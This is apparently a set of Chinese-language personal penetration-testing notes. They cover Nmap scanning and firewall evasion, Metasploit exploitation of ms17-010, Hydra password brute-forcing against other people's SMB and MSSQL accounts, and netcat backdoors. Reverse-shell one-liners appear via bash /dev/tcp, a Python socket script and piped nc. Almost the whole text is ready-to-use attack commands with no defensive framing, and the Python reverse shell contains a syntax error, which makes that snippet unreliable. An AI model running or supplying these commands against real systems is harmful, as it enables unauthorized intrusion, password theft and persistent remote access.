Nmap 使用
四个作用:主机发现,端口扫描,版本侦测,操作系统侦测
https://nmap.org/ 使用文档
视频讲解在这个里边
https://space.bilibili.com/478528539/channel/collectiondetail?sid=216559
端口扫描
Nmap -p 端口号 目标主机IP
Nmap -p- (全部端口) 目标主机IP
主机发现
Nmap -sP 192.168.12.1/24
主机发现
Nmap -sP 192.168.12.1/24
操作系统侦测
Nmap -O -Pn(无ping扫描,绕过防火墙) IP地址
Nmap -O oscan-guess IP地址(脚本)
Nmap -A -O IP地址 (超详细信息)
版本侦测
Nmap -sV IP地址
Nmap -A IP地址(超详细信息)
Nmap 扫描ms17010漏洞
Nmap -p 445 -script smb-vuln-ms17-010 IP地址(看目标IP是否存在这个漏洞)
msfconsole
msfconsole简称msf是一款常用的渗透测试工具,包含了常见的漏洞利用模块和生成各种木马。
Search ms17-010
Use 3
Show options
Set rhosts IP
Show options
Exploit (漏洞利用)
Whomi(系统权限)
扫描常规漏洞
Nmap --script==vuln IP地址
搜索漏洞编号
Searchsploit CVE什么什么
对mssql进行弱口令爆破
Nmap -p 1433 --scriptms-sql-brute --script-argsuserdb=./user.txt passdb=./pass.txt IP地址
一般采用九头蛇爆破,会比nmap快
https://blog.csdn.net/csdnrrxka/article/details/121264823
绕过windows防火墙进行扫描
Nmap -f IP (发送碎片扫描)
Nmap -mtu 8的倍数 IP (发送大的数据包)
Nmap -D 随意主机 IP (诱饵扫描)
Nmap --randomize-hosts IP
-f; --mtu value 指定使用分片、指定数据包的MTU.
-D decoy1,decoy2,ME 使用诱饵隐蔽扫描
-S IP-ADDRESS 源地址欺骗
-e interface 使用指定的接口
-g/ --source-port PROTNUM 使用指定源端口
–proxies url1,[url2],… 使用HTTP或者SOCKS4的代理
–data-length NUM 填充随机数据让数据包长度达到NUM
–ip-options OPTIONS 使用指定的IP选项来发送数据包
–ttl VALUE 设置IP time-to-live域
–spoof-mac ADDR/PREFIX/VEBDOR MAC地址伪装
–badsum 使用错误的checksum来发送数据包
对主机进行综合性扫描
1、先绕过主机防火墙
Nmap -f IP
2、探测操作系统版本
Nmap -f -O IP
3、扫描端口版本
Nmap -f -O -sV IP
4、超详细扫描结果
nmap -f -T4 -A IP
九头蛇爆破hydra
破解他人密码需要:
1,他人的用户名(自己猜测也可以,就是概率太小)
2,他人的ip地址
3.他人电脑上开启的某个服务或者端口,如ssh服务,smb协议,80端口等
4.字典
使用方法:
hydra -l 他人的用户名 -P 字典 他人的ip 他人电脑开启的服务或端口或协议
举例
使用hydra工具对用户名为 biaomei的账户,ip地址为192.168.22.11的主机,使用/home/biaomei/pass.txt的字典,通过smb协议进行破解。
hydra -l biaomei -P /home/biaomei/pass.txt 192.168.22.11 smb -vv
字典就是将你猜测的密码如123456. 28933等全部放到一个文件中,实现点击一次,试验成千上百次,解决人工输入太慢的问题,加快破解效率。
使用hydra前,要先使用nmap确定目标开启的服务和端口号。
netcat使用方法
正向shell
服务端 nc -lvp 端口号
客户端 nc 服务端IP 端口号
服务端给权限
服务端 nc -lvp 端口号 -e cmd.exe(返回程序)
客户端 nc 服务端IP 端口号
文件传输
客户端向服务端传
服务端 nc -lvp 端口号 > outfile
客户端 nc 服务端IP 端口号 < infile
小于号上传文件,大于号下载文件
服务端向客户端传
服务端 nc -lvp 端口号 < outfile
客户端 nc 服务端IP 端口号 > infile
小于号上传文件,大于号下载文件
设置等待时间
客户端Nc -w3 服务端IP 端口号
端口扫描
Nc -v -n -z -w1 IP 端口范围
抓取banner
echo “ ” | nc -v -n -z -w1 IP 端口范围
建立后门
监听型后门windows
服务端监听 nc -lvp 端口号 -e cmd.exe
客户端连接 nc 服务端IP 端口号
端口开放服务
Netstat -ano
看权限
Whomi
监听型后门linux
服务端监听 nc -lvp 端口号 -e /bin/bash
客户端连接 nc 服务端IP 端口号
连接型后门
客户端给权限
参数解析
端口扫描
TCP端口扫描,不会掉包
Nc -z -v IP 端口号范围 (报告端口是否开放)
UDP端口扫描
Nc -u -z -v IP 端口号范围 (报告端口是否开放)
反弹shell
场景:拿到服务器权限,但是目标服务器没有nc
客户端
Nc -lvp 端口
没有安装nc 的服务器反弹shell
Bash -i >& /dev/tcp/pc ip/port 0>&1
Bash -i >& /dev/tcp/pc ip/port 0>&1
使用python实现反弹shell
Python -c ‘
Import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect((“192.168.12.128”,1234));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p= subprocess.call[“/bin/bash”,”-i”];’
目标服务器有nc但是没有-e
nc 客户端ip Port1 | /bin/bash | nc 客户端ip Port2
客户端
Nc -lvp port1
Nc -lvp port2